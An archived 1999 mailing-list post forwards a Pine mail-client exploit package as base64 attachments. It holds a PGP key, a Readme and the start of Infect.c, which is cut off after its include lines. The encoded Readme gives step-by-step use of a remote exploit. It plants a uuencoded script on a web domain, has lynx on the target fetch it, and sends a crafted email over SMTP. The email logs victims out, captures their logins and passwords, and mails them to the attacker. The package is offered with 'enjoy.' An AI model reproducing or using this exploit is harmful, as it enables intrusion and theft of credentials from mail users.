Fwd: Fw: pine exploit (fwd)

From: stackat_private
Date: Thu Jun 24 1999 - 19:01:29 PDT

  • Next message: Andreas Bogk: "Re: [RHSA-1999:017-01] Potential security problem in Red Hat 6.0"

      This message is in MIME format.  The first part should be readable text,
      while the remaining parts are likely unreadable without MIME-aware tools.
      Send mail to mimeat_private for more info.
    
    --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_
    Content-Type: TEXT/PLAIN; charset=US-ASCII
    
    
    
    --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_
    Content-Type: MULTIPART/ALTERNATIVE; BOUNDARY="_=_=_=IMA.BOUNDARY.HTML_4862544=_=_=_"
    Content-ID: <Pine.LNX.4.10.9906242101132.10875at_private>
    Content-Description:
    
      This message is in MIME format.  The first part should be readable text,
      while the remaining parts are likely unreadable without MIME-aware tools.
      Send mail to mimeat_private for more info.
    
    --_=_=_=IMA.BOUNDARY.HTML_4862544=_=_=_
    Content-Type: TEXT/PLAIN; CHARSET=us-ascii
    Content-ID: <Pine.LNX.4.10.9906242101133.10875at_private>
    
    enjoy.
    
    -imagine
    <950> EFNet imagine44
    
    
    
    ==================BEGIN FORWARDED MESSAGE==================
    >Return-Path: <trixat_private>
    >Received: from ch.lakecountry.net (really [208.161.201.10]) by 4thdimension.net
    >	via smail with esmtp (ident mail using rfc1413)
    >	id <m10xHtH-000X2CCat_private> (Debian Smail3.2.0.102)
    >	for <imagineat_private>; Thu, 24 Jun 1999 17:22:39 -0500 (CDT)
    >Received: from mail (irconly@as5200-tyr1-ppp105.lakecountry.net [208.161.201.105])
    >	by ch.lakecountry.net (8.9.1/8.9.1) with SMTP id RAA14277
    >	for <imagineat_private>; Thu, 24 Jun 1999 17:20:46 -0500
    >From: trixat_private
    >Message-ID: <001b01bebe8e$6e807b60$69c9a1d0at_private>
    >Reply-To: <trixat_private>
    >To: <imagineat_private>
    >Subject: Fw: pine exploit
    >Date: Thu, 24 Jun 1999 17:10:53 -0500
    >MIME-Version: 1.0
    >X-Priority: 3
    >X-MSMail-Priority: Normal
    >X-Mailer: Microsoft Outlook Express 4.72.3110.1
    >X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
    >Content-Type: multipart/mixed;
    >	boundary="----=_NextPart_000_0017_01BEBE64.8449F900"
    >Status:
    >
    
    here imagine.....
    
    *******************************************************************
    Gate Keeper Technologies
    Brandon Hicks System Administrator
    bhicksat_private - Personal
    freebsdat_private - FreeBSD Lists/Help
    (903)882-9559
    www.gatekeep.net
    *******************************************************************
    
    
    
    
    ===================END FORWARDED MESSAGE===================
    
    
    
    --_=_=_=IMA.BOUNDARY.HTML_4862544=_=_=_
    Content-Type: TEXT/HTML; CHARSET=us-ascii
    Content-ID: <Pine.LNX.4.10.9906242101134.10875at_private>
    
    <HTML>
    
    
    </U><FONT FACE="MS Sans Serif" DEFAULT="FACE"><FONT SIZE="1" POINTSIZE="8" DEFAULT="SIZE">enjoy.<BR>
    <BR>
    -imagine<BR>
    &lt;950&gt; EFNet imagine44<BR>
    <BR>
    <BR>
    <BR>
    ==================BEGIN FORWARDED MESSAGE==================<BR>
    &gt;Return-Path: &lt;trixat_private&gt;<BR>
    &gt;Received: from ch.lakecountry.net (really [208.161.201.10]) by 4thdimension.net<BR>
    &gt;    via smail with esmtp (ident mail using rfc1413)<BR>
    &gt;    id &lt;m10xHtH-000X2CCat_private&gt; (Debian Smail3.2.0.102)<BR>
    &gt;    for &lt;imagineat_private&gt;; Thu, 24 Jun 1999 17:22:39 -0500 (CDT) <BR>
    &gt;Received: from mail (irconly@as5200-tyr1-ppp105.lakecountry.net [208.161.201.105])<BR>
    &gt;    by ch.lakecountry.net (8.9.1/8.9.1) with SMTP id RAA14277<BR>
    &gt;    for &lt;imagineat_private&gt;; Thu, 24 Jun 1999 17:20:46 -0500<BR>
    &gt;From: trixat_private<BR>
    &gt;Message-ID: &lt;001b01bebe8e$6e807b60$69c9a1d0at_private&gt;<BR>
    &gt;Reply-To: &lt;trixat_private&gt;<BR>
    &gt;To: &lt;imagineat_private&gt;<BR>
    &gt;Subject: Fw: pine exploit<BR>
    &gt;Date: Thu, 24 Jun 1999 17:10:53 -0500<BR>
    &gt;MIME-Version: 1.0<BR>
    &gt;X-Priority: 3<BR>
    &gt;X-MSMail-Priority: Normal<BR>
    &gt;X-Mailer: Microsoft Outlook Express 4.72.3110.1<BR>
    &gt;X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3<BR>
    &gt;Content-Type: multipart/mixed;<BR>
    &gt;    boundary="----=_NextPart_000_0017_01BEBE64.8449F900"<BR>
    &gt;Status:   <BR>
    &gt;<BR>
    <BR>
    <FONT COLOR=000000 DEFAULT="COLOR"><FONT SIZE="2" POINTSIZE="10">here imagine.....<FONT SIZE="1" POINTSIZE="8" DEFAULT="SIZE"><BR>
     <BR>
    <FONT SIZE="2" POINTSIZE="10">*******************************************************************<BR>
    Gate Keeper Technologies<BR>
    Brandon Hicks System Administrator<BR>
    <FONT COLOR=0000ff><U>bhicksat_private<FONT COLOR=000000 DEFAULT="COLOR"></U> - Personal<BR>
    <FONT COLOR=0000ff><U>freebsdat_private<FONT COLOR=000000 DEFAULT="COLOR"></U> - FreeBSD Lists/Help<BR>
    (903)882-9559<BR>
    <FONT COLOR=0000ff><U>www.gatekeep.net<FONT COLOR=000000 DEFAULT="COLOR"></U><BR>
    ******************************************************************* <BR>
    <FONT SIZE="1" POINTSIZE="8" DEFAULT="SIZE"><BR>
     <BR>
    <BR>
    <BR>
    ===================END FORWARDED MESSAGE===================<BR>
    <FONT COLOR=000000 DEFAULT="COLOR"><BR>
    
    </HTML>
    
    
    --_=_=_=IMA.BOUNDARY.HTML_4862544=_=_=_--
    --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_
    Content-Type: APPLICATION/OCTET-STREAM; NAME="Public Key.PGP"
    Content-Transfer-Encoding: BASE64
    Content-ID: <Pine.LNX.4.10.9906242101135.10875at_private>
    Content-Description:
    
    LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tDQ0KVmVyc2lvbjogUEdQZnJlZXdh
    cmUgNi4wIGZvciBub24tY29tbWVyY2lhbCB1c2UgPHd3dy5wZ3AuY29tPg0NCm1RR2lCRGNsOEN3
    UkJBRDd4Q3ArQTVPUmlSek1MUzRtUHN0TDFhSmFkU0NYU0d5TktFWlo2a1p3ZE8zWWhMQ2YNDQoy
    dmtlSkYwT0dlOEtSZmQ4TFJ4UDBmLzNzeWc3bGZINzdtME9QOE5YZW9PSEQ0OFQ4SzRNYWJwMldF
    Sm1VVzByDQ0KSjZvcDk0TGpGVXdxTnFZdU9hK2JWVUxyb3RaWTZpV2x4Qld1bmx0dTl3cnFnUDIy
    UlZ0S0F1MFBWd0NnLzJTUw0NCnJZb0RDTlRINGRsek5jVmN6YTVYdWhNRUFMYm11S0lTYmplT3Fz
    VkVUWVlNZFFmcjBNL20xWWZ6dGpKMnREUzcNDQpiR2ZPQ0ZwUVVGTHlDVXQvRkhIbWxJblhRV1VT
    VkNnamtwMC9naUZvWTlkWCs0SUI4d0xnZnU2OEJPWk01ZmZ0DQ0KSTVteEkwdnlCU2tlMmtIUVRx
    ZjN2UTVZdmVnNmdJQjhXVzlQaStNQXdMTVMzK0htcmFyKzRHQ1VPcWU5dzN5aQ0NCnUxcTNCQURj
    QU0zVmtPUnBraWZqSzhwV2V4MWZkZnZHbUxCWDVQQnVDZXhsNWRwZVhkVkMrS3RuY2lzOXU0eWgN
    DQo1Zi9QSS9nL1VrNFQyRC9uRjVQQTR0U2tOdlJKYVBWWkNYakZSZmM0SytyelF4dVlSZVB3WEZn
    YUhTazljRG5kDQ0KWEJxNUpNNmlYTEJHRklKcGJid1drZnR1Rk9hSkxYZFAvRHFEYVhramJXWExi
    SDluTjdRaFpXeGhhV05vSUc5bQ0NCklHaG9jQzRnUEdob2NFQm9hSEF1YUdWdGNDNXVaWFEraVFC
    TEJCQVJBZ0FMQlFJM0pmQXNCQXNEQWdFQUNna1ENDQpiU21xa00xdGhJeHZrUUNlSUVVWUpUd0Y1
    bkMrVDlEVWNVcVN0cXB3dGlRQW9Jenc5ZnFTQjAyNlErdzBDR1dlDQ0KQlBYOUxENXJ1UUlOQkRj
    bDhETVFDQUQyUWxlM0NIOElGM0tpdXRhcFF2TUY2UGxURVRsUHR2RnV1VXM0SU5vQg0NCnAxYWpG
    T21QUUZYejBBZkd5ME9wbEszM1RHU0dTZmdNZzcxbDZSZlVvZE5RK1BWWlg5eDJVazg5UFkzYnpw
    bmgNDQpWNUpaemYyNHJuUlB4ZngydklQRlJ6Qmh6bnpKWnY4VitidjlrVjdIQWFyVFc1Nk5vS1Z5
    T3RRYThMOUdBRmdyDQ0KNWZTSS9WaE9TZHZOSUxTZDVKRUhObXN6YkRnTlJSMFBmSWl6SEh4YkxZ
    NzI4OGtqd0VQd3BWc1lqWTY3Vll5NA0NClhUalROUDE4RjFkRG94MFliTjR6SVN5MUt2ODg0YkVw
    UUJnUmpYeUVwd3B5MW9iRUF4bklCeWw2eXBVTTJaYWYNDQpxOUFLVUpzQ1J0TUlQV2FrWFVHZm5I
    eTlpVXNpR1NhNnE2SmV3MVhwTWdzN0FBSUNCL29Db0FCcmNBb2RBK1F3DQ0KMFFPenB0bTZhcnh0
    YVJ0ZTRhNlpRcytONFk2MytTNW9LQno0L2F0SEdHSXFnY3hDVWFhUEN4ZmNxUk1vejZUdw0NClpo
    eE9LZTMveEtBK3FQUmZMUDE5UDNuSGNUTFpxYS9vcnZvaER1MjM1T1FIQmQ1TWk2c3IyTVVjVUwx
    V2ZzVTcNDQpmUFpFand1NmQzTXVYcGpKVWVGek5lekp6SWJYTnpxRkFWUWF3Vkg2bFYreEdmcWpE
    MHpjZUdGR0FMdnZHVnhMDQ0KQU5kbUN6cWpFMUxGYnFmMVpkZDA0bEtZS1NnbFg0UEZ6M0x5L2p6
    aTIyR0Z4TXVHZjZ1ZDRSODB3VUMwekJLTw0NClJaSFgzalBxanJxZmJZOWRxMXZwQk5ERXVnT1lQ
    cXYzL2xObGtveFV6S2hKQ1pMUFVjYlFRcytCdU5VVWNSVzkNDQpkRWtsNzFrdWlRQkdCQmdSQWdB
    R0JRSTNKZkF6QUFvSkVHMHBxcEROYllTTUZnSUFvTVVFMFNHSWZxZzBvajllDQ0Kb1k5QUhEQVNj
    bVp0QUtEZ0tGN1NUdFJ3QjRLSjYvUTlIQzNnVWdHQmJBPT0NDQo9R0owZQ0NCi0tLS0tRU5EIFBH
    UCBQVUJMSUMgS0VZIEJMT0NLLS0tLS0NDQo=
    
    --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_
    Content-Type: APPLICATION/OCTET-STREAM; NAME=Readme
    Content-Transfer-Encoding: BASE64
    Content-ID: <Pine.LNX.4.10.9906242101136.10875at_private>
    Content-Description:
    
    DQogICAgICAgICAgICAgICAgICAgICBUaGUgaGhwIHByZXNlbnRzLi4uDQoNCiAgICAgICAgICAg
    ICAgICAgVGhlIGhocC1waW5lIHJlbW90ZSBleHBsb2l0Lg0KICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgNi8yMi85OQ0KICAgICAgICAgICAgIEJ5OiBlbGFpY2ggYWthIExvb3BIb2xlIG9mIHRo
    ZSBoaHAuDQogICAgICAgICAgICAgUHJvYnMvQnVncy9FdGMuIC0+IGhocEBoaHAuaGVtcC5uZXQN
    CiAgICAgICAgICAgICAgICAgICAgIChFbWFpbCBpZiBoaXJpbmcuKQ0KIy0tLS0tLS0tLS0tLS0t
    LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMNCg0KICAgICAgICAg
    ICBWZXJzaW9ucyBlZmZlY3RlZDogQUxMIHRvIEN1cnJlbnQgNC4xMA0KDQogICAgICAgICAgICBU
    aGlzIHBhY2thZ2UgY29udGFpbnMgdGhlIGZvbGxvd2luZy4uLg0KICAgICAgICAgICAgMSkgcHNp
    dGUuc2ggICAgICAoU2NyaXB0ICAjMS4pDQogICAgICAgICAgICAyKSBJbmZlY3QuYyAgICAgIChQ
    cm9ncmFtICMyLikNCiAgICAgICAgICAgIDMpIGNsZWFudXAuYyAgICAgKENsZWFuLXVwIHNjcmlw
    dC4pDQoNCg0KICBUaGlzICBleHBsb2l0ICB3YXMgIG1hZGUgIGFib3V0IDQgbW9udGhzIGFnbyBh
    bmQgSSBhbG1vc3QNCnRvdGFsbHkgIGZvcmdvdCAgYWJvdXQgIGl0IHVudGlsbCByZWNlbnRseS4g
    IE5vdyBsZXRzIHRoaW5rDQpiYWNrICBhYm91dCAgNCAgbW9udGhzIGFnbyB3aGVuIGEgZmV3IHBv
    c3RzIHRvIGJ1Z3RyYXEgd2VyZQ0Kc2VudCAgYWJvdXQgIGEgIGNoYXJzZXQ9YGBjb21tYW5kcy4u
    LmBgICBidWcuICBUaGUgIHByb2JsZW0NCndhc250ICB0byAgYmlnIGJlY2F1c2UgQUxPVCBvZiBj
    aGFyYWN0ZXJzIGNvdWxkIG5vdCBiZSB1c2VkDQppbiAgYXR0YWNraW5nICB0aGlzICBwcm9ibGVt
    LiAgVGhlIG1haW4gY2hhcnMgdGhhdCB3b3VsZCBiZQ0KbmVlZGVkIHRvIGRvIHNvbWUgaGFybWZ1
    bGwgZGFtYWdlIGFyZSA7IDogPiA8IC8gQCAiIGAgJyBcID0NCiUgIC0gIGFuZCB8IHdoaWNoIGFy
    ZSBhbGwgbm90IGFsbG93ZWQgYmVzaWRlcyB8IGFuZCAtIHdoaWNoDQpjYW50ICBiZSAgdXNlZCAg
    aW4gYW55IHdheXMgd291dGhvdXQgdGhlIG90aGVycy4gIFRoZXJlcyBubw0Kd2F5ICB0byAgcG9z
    c2libHkgIGVjaG8gIHRvICBhIGZpbGUsIHNlbmQgYW4geHRlcm0sIG9yIHJtIGENCnN5c3RlbSAg
    d2l0aG91dCAgLyBhbmQgPi4gIFNvICJwZmZ0IiB5b3Ugc2FpZCBhbmQgZ290IGFsb25nDQp3aXRo
    ICB5b3VyIGFkbWluaW5nLiAgVGhpcyBleHBsb2l0IHdpbGwgc2hvdyB5b3UgaG93IHRvIHJ1bg0K
    cmVtb3RlICBjb21tYW5kcyBhbmQgZXhwbG9pdCB0aGUgc3lzdGVtIGFsbCB3aXRoIG9ubHkgdGhl
    IHwNCmFuZCAgLSAgY2hhcmFjdGVycy4gIE5vdyAgeW91ICBzYXkgImhvdyBpcyB0aGF0IHBvc3Np
    YmxlPyIuDQpXZWxsIGl0cyBjYWxsZWQgdXVkZWNvZGUgd2hpY2ggZGVjb2RlcyBhIHV1ZW5jb2Rl
    ZCBmaWxlIGFuZA0Kc2V0cyB0aGUgbW9kZSBkZWZpbmVkIG9uIHRoZSB0b3AgbGluZSBvZiB0aGUg
    LnV1ZSBmaWxlIHdoZW4NCml0cyAgZGVjb2RlZC4gIFNvIG5vdywgd2Uga25vdyBob3cgdG8gZG8g
    dGhlIGZpbGUgcGFydCwgYnV0DQp0aGVuICB5b3UgIHNheSAiQnV0ICBob3cgIGRvICB3ZSBnZXQg
    dGhlIGZpbGUgb24gdGhlIHJlbW90ZQ0Kc2VydmVyICBmb3IgIGNocmlzdHMgIHNha2U/Ii4gIFRo
    YXRzIGVhc3kgdG9vLCBhbGwgd2l0aCB0aGUNCmhlbHAgIG9mIGx5bnggb24gdGhlIHRhcmdldCBz
    ZXJ2ZXIuICBBbGwgeW91IGRvIGlzIGdvIGdldCBhDQpkb21haW4gIGxpa2UgIHd3dy5ibGFoLmNv
    bSB3aGljaCBDQU5OT1QgYmUgYSB1c2VyIGRpcmVjdG9yeQ0KbGlrZSAgd3d3LmJsYWguY29tL3Vz
    ZXIgYmVjYXVzZSB3ZSBjYW50IHVzZSB0aGUgLyBjaGFyYWN0ZXINCmluICB0aGUgIGNoYXJzZXQu
    ICAgU28gIGl0ICBIQVMgIHRvICBiZSAgYSB3d3cuYmxhaC5jb20gIG9yIA0Kd2hhdGV2ZXIuICBU
    aGVuICB0aGlzICBpcyAgd2hlcmUgeW91IGhhdmUgdG8gZm9sbG93IHdoYXQgaW0NCnNheWluZyAg
    cmVhbGx5ICBjbG9zZS4gIFdlICBhcmUgIGdvaW5nIHRvIHV1ZW5jb2RlIHBzaXRlLnNoDQphbmQg
    IG5hbWUgIHRoZSB1dWVuY29kZWQgZmlsZSAnLi4uJyAodGhyZWUgZG90cykgd2hpY2ggd2lsbA0K
    YmUgdGhlIGluZGV4Lmh0bWwgb2YgeW91ciBkb21haW4uICBUaGlzIGlzIGhvdyB5b3UgZG8gdGhp
    czoNCltyb290QGhocF0jIHV1ZW5jb2RlIHBzaXRlLnNoIC4uLiA+IGluZGV4Lmh0bWwNClRoZW4g
    IHlvdSAgbmVlZCAgdG8gIGVkaXQgdGhlIGluZGV4Lmh0bWwgYW5kIGNoYW5nZSB0aGUgdG9wDQps
    aW5lICB0byBtYWtlIHN1cmUgdGhlIG1vZGUgaXMgNzc3IChEZWZ1YWx0IGlzIHVzdWFsbHkgbGlr
    ZQ0KNjQ0ICBvciAgNjU1IChpdCB2YXJyaWVzKSkuICBUaGVuICBzYXZlICB0aGUgaW5kZXguaHRt
    bCBhbmQNCnRoZW4gIGdvICBsb29rICBhdCB5b3VyIHdlYnNpdGUgYW5kIG1ha2Ugc3VyZSBpdCBp
    cyBjb21taW5nDQp1cCBpbiB5b3VyIGJyb3dzZXIuDQoNCiAgQSBzdWdnZXN0aW9uIGlzIHRvIGdv
    IHRvIHd3dy5mcmVlc2VydmVycy5jb20gYW5kIHJlZ2lzdGVyDQphICBmcmVlICBkb21haW4uICBU
    aGVuICB1dWVuY29kZSAgdGhlIGZpbGUsIHRoZW4gY2hhbmdlIHRoZQ0KbW9kZSAgdG8gIDc3Nywg
    YW5kICBUSEVOICBzaW5jZSB0aGV5IGF1dG9tYXRpY2FsbHkgYWRkIHRoYXQNCmJhbm5lciAgdG8g
    IHlvdXIgIHdlYnNpdGUsICBhZGQgIDxQUkU+ICB0byAgdGhlICB0b3Agb2YgdGhlDQp1dWVuY29k
    ZWQgIGZpbGUgYW5kIDwvUFJFPiB0byB0aGUgIGJvdHRvbSBhbmQgaXQgd2lsbCBhbGxvdw0KaXQg
    dG8gd29yayB3aXRoIHRoYXQgYmFubmVyIHN0aWxsIHRoZXJlLg0KDQpUaGUgbmV4dCBzdGVwIGlz
    IHRvIGNvbXBpbGUgSW5mZWN0LmMgbGlrZS4uLg0KW3Jvb3RAaGhwXSMgZ2NjIEluZmVjdC5jIC1v
    IEluZmVjdA0KDQogIFRoZSAgb25seSB3aWVyZCB0aGluZyAgYWJvdXQgIHRoaXMgIGlzICB3aGVu
    ICByb290IG9yIGENCm5vbi1yb290ICB1c2VyICByZWFkcyB0aGUgZW1haWwgaXQgd2lsbCBzY3Jv
    bGwgdGhlIHNjcmVlbg0Kd2l0aCAgZXJyb3JzICBhcyAgaWYgIHRoZSAgY29udGVudHMgIG9mIHRo
    ZSBzY3JpcHQgaXMgbm90DQp3b3JraW5nLiAgQnV0ICBpdCBzZXJpb3VzbHkgZGlkIHdvcmssIHlv
    dSBjYW4gdGVzdCBpdCBvdXQNCnlvdXJzZWxmLiAgQSAgZ29vZCAgZmVhdHVyZSB0aGUgZXhwbG9p
    dCBoYXMgaXMgdGhhdCBhZnRlcg0KdGhlICBlbWFpbCAgaXMgcmVhZCwgaXQgd2lsbCBkZWxldGUg
    dGhlIGV2aWwgY2hhcnNldCBmcm9tDQp0aGUgIGVtYWlsICBzbyAgaWYgIHRoZXkgIGRlY2lkZSB0
    byByZWFkIGl0IGFnYWluKEFzIG1vc3QNCnBlb3BsZSB3b3VsZCkgaXQgd29udCByZS1pbmZlY3Qg
    dGhlIHNlcnZlci4NCg0KICBSZW1lbWJlciwgdGhpcyBjYW4gYmUgdXNlZCBvbiBub24tcm9vdCB1
    c2VycyB0b28uICBXaGF0DQppdCAgZG9lcyAgaXMgIGxvZyAgdGhlbSAgb3V0ICBvZiAgdGhlaXIg
    c2hlbGwgbWFraW5nIHRoZW0NCnJlbG9naW4gIHdoaWNoICB0aGVuICB3ZSBncmFiIHRoZWlyIGxv
    Z2luL3Bhc3N3ZCBhbmQgdGhlbg0KaXQgIGVtYWlscyB0aGVtIHRvIHlvdSBhdCB0aGUgZGVmaW5l
    ZCBhZGRyZXNzIGluIHBzaXRlLnNoDQoNCiAgTk9URTogVGhleSBoYXZlIHRvIGJlIHJ1bm5pbmcg
    cGluZSBBTkQgbHlueC4gIElmIGFueW9uZQ0KY2FuICB0aGluayAgb2YgYSB3YXkgd2l0aG91dCBs
    eW54KEkgZG91YnQgaXQpLCBJIHdvdWxkIGJlDQppbnRlcmVzdGVkICB0byBoZWFyIHRoZSB3YXku
    ICBXZSd2ZSBhbHJlYWR5IHRob3VnaHQgYWJvdXQNCnB1dHRpbmcgIHRoZSB1dWVuY29kZWQgZmls
    ZSBpbiBhIGZpbmdlciBwbGFuLCBidXQgd2UgY2FudA0KdXNlIHRoZSAnQCcgY2hhcmFjdGVyLg0K
    DQogIE1vc3QgIGFsbCAgb3BlcmF0aW5nIHN5c3RlbXMgYXJlIHZ1bG5lcmFibGUgaWYgdGhleSBy
    dW4NCnBpbmUgIGFuZCAgbHlueC4gIFlvdSBjYW4gY2hhbmdlIHNvbWUgb2YgdGhlIHNjcmlwdGlu
    ZyBpbg0Kc2NyaXB0ICAjMSAgZm9yICB0aGF0ICBwYXJ0aWN1bGFyICBvcy4uLiBsaWtlIHRoZSBr
    aWxsYWxsDQpjb21tYW5kICBhbmQgIHRoZSAgcGF0aCBvZiB0aGUgdXNlciBtYWlsLiAgVGVzdGVk
    IG9uIEJTRCwNCkxpbnV4LCBJUklYLCBBSVgsIFNDTyBhbmQgU3VuT1MuDQoNCiAgUGluZSBwYXRj
    aGVzIHdlcmUgIG1hZGUsIGJ1dCBhIG5ldyB2ZXJzaW9uIGhhcyBub3QgYmVlbg0KcmVsZWFzZWQu
    ICBJIHN1Z2dlc3QgeW91IGdldCB0aGUgcGF0Y2ggaWYgeW91IGFyZSBydW5uaW5nDQphbnkgdmVy
    c2lvbiBvZiBwaW5lLg0KDQotZWxhaWNoDQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
    LS0tLS0tLS0tLS0tDQplbGFpY2ggb2YgdGhlIGhocC4gICAgICAgICAgICBoaHAtMTk5OShjKQ0K
    RW1haWw6ICBoaHBAaGhwLmhlbXAubmV0DQpXZWI6ICAgIGh0dHA6Ly9oaHAuaGVtcC5uZXQvDQpQ
    aG9uZTogIDcxMy00NTEtNjk3Mg0KaGhwLW1zOiBoaHAuaGVtcC5uZXQsIHBvcnQ6Nzc3NywgcGFz
    czpoaHANCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi0tLS0t
    QkVHSU4gUEdQIFBVQkxJQyBLRVkgQkxPQ0stLS0tLQ0KVmVyc2lvbjogUEdQZnJlZXdhcmUgNi4w
    IGZvciBub24tY29tbWVyY2lhbCB1c2UgPHd3dy5wZ3AuY29tPg0KbVFHaUJEY2w4Q3dSQkFEN3hD
    cCtBNU9SaVJ6TUxTNG1Qc3RMMWFKYWRTQ1hTR3lOS0VaWjZrWndkTzNZaExDZg0KMnZrZUpGME9H
    ZThLUmZkOExSeFAwZi8zc3lnN2xmSDc3bTBPUDhOWGVvT0hENDhUOEs0TWFicDJXRUptVVcwcg0K
    SjZvcDk0TGpGVXdxTnFZdU9hK2JWVUxyb3RaWTZpV2x4Qld1bmx0dTl3cnFnUDIyUlZ0S0F1MFBW
    d0NnLzJTUw0KcllvRENOVEg0ZGx6TmNWY3phNVh1aE1FQUxibXVLSVNiamVPcXNWRVRZWU1kUWZy
    ME0vbTFZZnp0akoydERTNw0KYkdmT0NGcFFVRkx5Q1V0L0ZISG1sSW5YUVdVU1ZDZ2prcDAvZ2lG
    b1k5ZFgrNElCOHdMZ2Z1NjhCT1pNNWZmdA0KSTVteEkwdnlCU2tlMmtIUVRxZjN2UTVZdmVnNmdJ
    QjhXVzlQaStNQXdMTVMzK0htcmFyKzRHQ1VPcWU5dzN5aQ0KdTFxM0JBRGNBTTNWa09ScGtpZmpL
    OHBXZXgxZmRmdkdtTEJYNVBCdUNleGw1ZHBlWGRWQytLdG5jaXM5dTR5aA0KNWYvUEkvZy9VazRU
    MkQvbkY1UEE0dFNrTnZSSmFQVlpDWGpGUmZjNEsrcnpReHVZUmVQd1hGZ2FIU2s5Y0RuZA0KWEJx
    NUpNNmlYTEJHRklKcGJid1drZnR1Rk9hSkxYZFAvRHFEYVhramJXWExiSDluTjdRaFpXeGhhV05v
    SUc5bQ0KSUdob2NDNGdQR2hvY0VCb2FIQXVhR1Z0Y0M1dVpYUStpUUJMQkJBUkFnQUxCUUkzSmZB
    c0JBc0RBZ0VBQ2drUQ0KYlNtcWtNMXRoSXh2a1FDZUlFVVlKVHdGNW5DK1Q5RFVjVXFTdHFwd3Rp
    UUFvSXp3OWZxU0IwMjZRK3cwQ0dXZQ0KQlBYOUxENXJ1UUlOQkRjbDhETVFDQUQyUWxlM0NIOElG
    M0tpdXRhcFF2TUY2UGxURVRsUHR2RnV1VXM0SU5vQg0KcDFhakZPbVBRRlh6MEFmR3kwT3BsSzMz
    VEdTR1NmZ01nNzFsNlJmVW9kTlErUFZaWDl4MlVrODlQWTNienBuaA0KVjVKWnpmMjRyblJQeGZ4
    MnZJUEZSekJoem56Slp2OFYrYnY5a1Y3SEFhclRXNTZOb0tWeU90UWE4TDlHQUZncg0KNWZTSS9W
    aE9TZHZOSUxTZDVKRUhObXN6YkRnTlJSMFBmSWl6SEh4YkxZNzI4OGtqd0VQd3BWc1lqWTY3Vll5
    NA0KWFRqVE5QMThGMWREb3gwWWJONHpJU3kxS3Y4ODRiRXBRQmdSalh5RXB3cHkxb2JFQXhuSUJ5
    bDZ5cFVNMlphZg0KcTlBS1VKc0NSdE1JUFdha1hVR2ZuSHk5aVVzaUdTYTZxNkpldzFYcE1nczdB
    QUlDQi9vQ29BQnJjQW9kQStRdw0KMFFPenB0bTZhcnh0YVJ0ZTRhNlpRcytONFk2MytTNW9LQno0
    L2F0SEdHSXFnY3hDVWFhUEN4ZmNxUk1vejZUdw0KWmh4T0tlMy94S0ErcVBSZkxQMTlQM25IY1RM
    WnFhL29ydm9oRHUyMzVPUUhCZDVNaTZzcjJNVWNVTDFXZnNVNw0KZlBaRWp3dTZkM011WHBqSlVl
    RnpOZXpKekliWE56cUZBVlFhd1ZINmxWK3hHZnFqRDB6Y2VHRkdBTHZ2R1Z4TA0KQU5kbUN6cWpF
    MUxGYnFmMVpkZDA0bEtZS1NnbFg0UEZ6M0x5L2p6aTIyR0Z4TXVHZjZ1ZDRSODB3VUMwekJLTw0K
    UlpIWDNqUHFqcnFmYlk5ZHExdnBCTkRFdWdPWVBxdjMvbE5sa294VXpLaEpDWkxQVWNiUVFzK0J1
    TlVVY1JXOQ0KZEVrbDcxa3VpUUJHQkJnUkFnQUdCUUkzSmZBekFBb0pFRzBwcXBETmJZU01GZ0lB
    b01VRTBTR0lmcWcwb2o5ZQ0Kb1k5QUhEQVNjbVp0QUtEZ0tGN1NUdFJ3QjRLSjYvUTlIQzNnVWdH
    QmJBPT0NCj1HSjBlDQotLS0tLUVORCBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tDQoNCg==
    
    --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_
    Content-Type: APPLICATION/OCTET-STREAM; NAME="Infect.c"
    Content-Transfer-Encoding: BASE64
    Content-ID: <Pine.LNX.4.10.9906242101137.10875at_private>
    Content-Description:
    
    LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
    DQogKiAgKGhocCkgSW5mZWN0LmMgKGhocCkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICoNCiAqICBCeTogZWxhaWNoIG9mIHRoZSBoaHAuICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAgKg0KICogIFBhcnQgb2YgdGhlIChoaHAtcGluZSByZW1vdGUgZXhwbG9pdC4pICAgICAgICAg
    ICAgICAqDQogKiAgZ2NjIEluZmVjdC5jIC1vIEluZmVjdCA7IC4vSW5mZWN0ICAgICAgICAgICAg
    ICAgICAgICoNCiAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgKg0KICogIENvbm5lY3RzICB0byB0aGVpciBTTVRQIHNlcnZlciwgd2FpdHMgZm9y
    ICAgICAgICAgICAqDQogKiAgYSBmdWxsIGNvbm5lY3Rpb24gdGhlbiBzZW5kcyB0aGUgaW5mZWN0
    ZWQgICAgICAgICAgICoNCiAqICBlbWFpbCBhbmQgZGlzY29ubmVjdHMuICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgKg0KICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
    KioqKioqKioqKioqKioqKioqLw0KDQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8
    c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxuZXRkYi5o
    Pg0KI2luY2x1ZGUgPGFycGEvaW5ldC5oPg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8
    bWFsbG9jLmg+DQojaW5jbHVkZSA8c2lnbmFsLmg+DQojaW5jbHVkZSA8c3lzL3RpbWUuaD4NCiNp
